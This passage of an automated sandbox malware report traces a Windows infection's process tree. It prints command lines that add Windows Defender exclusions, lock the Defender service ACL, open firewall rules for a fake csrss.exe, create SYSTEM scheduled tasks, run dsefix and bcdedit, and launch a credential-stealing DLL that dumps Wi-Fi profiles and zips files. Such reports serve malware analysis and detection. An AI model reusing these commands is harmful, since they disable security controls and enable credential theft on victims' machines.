        8⤵
        Modifies boot configuration data using bcdedit
        
        PID:2180
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        8⤵
        Executes dropped EXE
        
        PID:820
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        8⤵
        Creates scheduled task(s)
        
        PID:772
        
        C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        8⤵
        Executes dropped EXE
        
        PID:3000
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        9⤵
        
        PID:1364
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        10⤵
        Launches sc.exe
        Suspicious use of AdjustPrivilegeToken
        
        PID:2276
    - - C:\Users\Admin\Pictures\DUdXaoov3m3eSxtyOimymEoL.exe
        
        "C:\Users\Admin\Pictures\DUdXaoov3m3eSxtyOimymEoL.exe"
        5⤵
        Modifies firewall policy service
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1640
    - - C:\Users\Admin\Pictures\FykBDDaqRGg1QNd3nMWeo2cZ.exe
        
        "C:\Users\Admin\Pictures\FykBDDaqRGg1QNd3nMWeo2cZ.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1716
      - C:\Users\Admin\Pictures\FykBDDaqRGg1QNd3nMWeo2cZ.exe
        
        "C:\Users\Admin\Pictures\FykBDDaqRGg1QNd3nMWeo2cZ.exe"
        6⤵
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        Adds Run key to start application
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1632
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        7⤵
        
        PID:2656
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        8⤵
        Modifies Windows Firewall
        Modifies data under HKEY_USERS
        
        PID:2872
    - - C:\Users\Admin\Pictures\RulIkNIievDhgHPXlkoZaAnm.exe
        
        "C:\Users\Admin\Pictures\RulIkNIievDhgHPXlkoZaAnm.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1612
      - C:\Users\Admin\Pictures\RulIkNIievDhgHPXlkoZaAnm.exe
        
        "C:\Users\Admin\Pictures\RulIkNIievDhgHPXlkoZaAnm.exe"
        6⤵
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        Adds Run key to start application
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:2076
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        7⤵
        
        PID:2028
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        8⤵
        Modifies Windows Firewall
        Modifies data under HKEY_USERS
        
        PID:1300
    - - C:\Users\Admin\Pictures\7gXkkaa0tPpkaDzU52e7XxmQ.exe
        
        "C:\Users\Admin\Pictures\7gXkkaa0tPpkaDzU52e7XxmQ.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2276
      - C:\Users\Admin\Pictures\7gXkkaa0tPpkaDzU52e7XxmQ.exe
        
        "C:\Users\Admin\Pictures\7gXkkaa0tPpkaDzU52e7XxmQ.exe"
        6⤵
        Executes dropped EXE
        Checks for VirtualBox DLLs, possible anti-VM trick
        Suspicious behavior: EnumeratesProcesses
        
        PID:1880
    - - C:\Users\Admin\Pictures\KyYAqWJmSfOvkX4nqsYYpvk5.exe
        
        "C:\Users\Admin\Pictures\KyYAqWJmSfOvkX4nqsYYpvk5.exe"
        5⤵
        Executes dropped EXE
        
        PID:1512
      - C:\Users\Admin\AppData\Local\Temp\7zS89E8.tmp\Install.exe
        
        .\Install.exe /WkfdidVYT "385118" /S
        6⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:1912
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        7⤵
        
        PID:1520
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        8⤵
        
        PID:2420
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        9⤵
        
        PID:1404
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        10⤵
        
        PID:2756
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        8⤵
        
        PID:580
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        9⤵
        
        PID:292
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        10⤵
        
        PID:3064
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        8⤵
        
        PID:2544
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        9⤵
        
        PID:324
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        10⤵
        
        PID:1484
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        8⤵
        
        PID:2180
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        9⤵
        
        PID:2092
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        10⤵
        
        PID:1488
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        8⤵
        
        PID:2548
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        9⤵
        
        PID:1244
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        10⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious use of AdjustPrivilegeToken
        
        PID:2796
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        11⤵
        
        PID:1040
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        7⤵
        
        PID:1168
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:2872
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious use of AdjustPrivilegeToken
        
        PID:1280
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2364
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 22:23:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\PbVgkoeGEfQyDQK\XqmUpkH.exe\" Wt /EnTdidlYen 385118 /S" /V1 /F
        7⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:2812
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
        7⤵
        
        PID:292
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn biPxHmULFllsbMgnpt
        8⤵
        
        PID:540
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn biPxHmULFllsbMgnpt
        9⤵
        
        PID:2200
    - - C:\Users\Admin\Pictures\O0aHH9i73ExfwL1vtfGn39oT.exe
        
        "C:\Users\Admin\Pictures\O0aHH9i73ExfwL1vtfGn39oT.exe"
        5⤵
        Executes dropped EXE
        
        PID:324
      - C:\Users\Admin\AppData\Local\Temp\7zS29BF.tmp\Install.exe
        
        .\Install.exe /WkfdidVYT "385118" /S
        6⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Enumerates system info in registry
        
        PID:2300
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        7⤵
        
        PID:1972
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        8⤵
        
        PID:2204
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        9⤵
        
        PID:1664
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        10⤵
        
        PID:1052
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        8⤵
        
        PID:1788
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        9⤵
        
        PID:1880
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        10⤵
        
        PID:2020
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        8⤵
        
        PID:1500
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        9⤵
        
        PID:404
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        10⤵
        
        PID:2380
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        8⤵
        
        PID:384
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        9⤵
        
        PID:1728
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        10⤵
        
        PID:1664
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        8⤵
        
        PID:2204
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        9⤵
        
        PID:2196
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        10⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:2248
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        11⤵
        
        PID:2236
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        7⤵
        
        PID:1820
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:1040
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:292
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        
        PID:1900
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 22:23:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\PbVgkoeGEfQyDQK\cxhEJDg.exe\" Wt /vEhdidYOFq 385118 /S" /V1 /F
        7⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:820
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
        7⤵
        
        PID:2668
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn biPxHmULFllsbMgnpt
        8⤵
        
        PID:936
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn biPxHmULFllsbMgnpt
        9⤵
        
        PID:2140
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      4⤵
      PID:1572
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
    3⤵
    - Loads dropped DLL
    PID:1516
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:2008
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:2196
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\248906074286_Desktop.zip' -CompressionLevel Optimal
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2564
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    PID:2772
- - C:\Users\Admin\AppData\Local\Temp\1000077001\jfesawdr.exe
    "C:\Users\Admin\AppData\Local\Temp\1000077001\jfesawdr.exe"
    3⤵
    - Executes dropped EXE
    PID:1740
- - C:\Users\Admin\AppData\Local\Temp\1000079001\gold.exe
    "C:\Users\Admin\AppData\Local\Temp\1000079001\gold.exe"
    3⤵
    - Executes dropped EXE
    PID:2960
- - C:\Users\Admin\AppData\Local\Temp\1000080001\alexxxxxxxx.exe
    "C:\Users\Admin\AppData\Local\Temp\1000080001\alexxxxxxxx.exe"
    3⤵
    - Executes dropped EXE
    PID:856
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 856 -s 116
      4⤵
      Program crash
      PID:2288
- - C:\Users\Admin\AppData\Local\Temp\1000081001\install.exe
    "C:\Users\Admin\AppData\Local\Temp\1000081001\install.exe"
    3⤵
    PID:2424
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
      4⤵
      PID:1060
    - - C:\Windows\SysWOW64\sc.exe
        
        Sc stop GameServerClient
        5⤵
        Launches sc.exe
        
        PID:936
    - - C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService remove GameServerClient confirm
        5⤵
        
        PID:1884
    - - C:\Windows\SysWOW64\sc.exe
        
        Sc delete GameSyncLink
        5⤵
        Launches sc.exe
        
        PID:540
    - - C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService remove GameSyncLink confirm
        5⤵
        
        PID:2496
    - - C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
        5⤵
        
        PID:2652
    - - C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService start GameSyncLink
        5⤵
        
        PID:384
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
      4⤵
      PID:1244
    - - C:\Windows\SysWOW64\sc.exe
        
        Sc stop GameServerClientC
        5⤵
        Launches sc.exe
        
        PID:1164
    - - C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService remove GameServerClientC confirm
        5⤵
        
        PID:2348
    - - C:\Windows\SysWOW64\sc.exe
        
        Sc delete PiercingNetLink
        5⤵
        Launches sc.exe
        
        PID:1308
    - - C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService remove PiercingNetLink confirm
        5⤵
        
        PID:1692
    - - C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
        5⤵
        
        PID:2056
    - - C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService start PiercingNetLink
        5⤵
        
        PID:1716
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
      4⤵
      PID:2820
    - - C:\Windows\SysWOW64\sc.exe
        
        Sc delete GameSyncLinks
        5⤵
        Launches sc.exe
        
        PID:2316
    - - C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService remove GameSyncLinks confirm
        5⤵
        
        PID:1972
    - - C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
        5⤵
        
        PID:628
    - - C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService start GameSyncLinks
        5⤵
        
        PID:2020
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
      4⤵
      PID:1748

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240503222045.log C:\Windows\Logs\CBS\CbsPersist_20240503222045.cab
1⤵
- Drops file in Windows directory
PID:820

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "111998235318130819022081476721165897814114315904961589970417924444014-354553166"
1⤵
PID:2228

C:\Windows\system32\taskeng.exe
taskeng.exe {FC1C26B3-E6FA-4819-B95E-91AD80CEB899} S-1-5-21-2248906074-2862704502-246302768-1000:GHPZRGFC\Admin:Interactive:[1]
1⤵
PID:2788
- C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
  C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
  C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
  2⤵
  - Executes dropped EXE
  PID:2660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  PID:804
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:296
- C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
  C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
  2⤵
  PID:2196
- C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
  C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
  2⤵
  PID:2580
- C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
  C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
  2⤵
  PID:576

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-442360541-10337255841137274141-1108508522085275273-1849988105-1145412502-1454614272"
1⤵
PID:1488

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-65439254898414402991414081796640381602500939-2072756968-1415881320-566818747"
1⤵
PID:2756

C:\Windows\system32\taskeng.exe
taskeng.exe {70F141A2-7C98-4A06-BB38-EB3F05BC6CEF} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2544
- C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\PbVgkoeGEfQyDQK\XqmUpkH.exe
  C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\PbVgkoeGEfQyDQK\XqmUpkH.exe Wt /EnTdidlYen 385118 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2380
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:328
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:1160
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:888
      - \??\c:\windows\SysWOW64\reg.exe
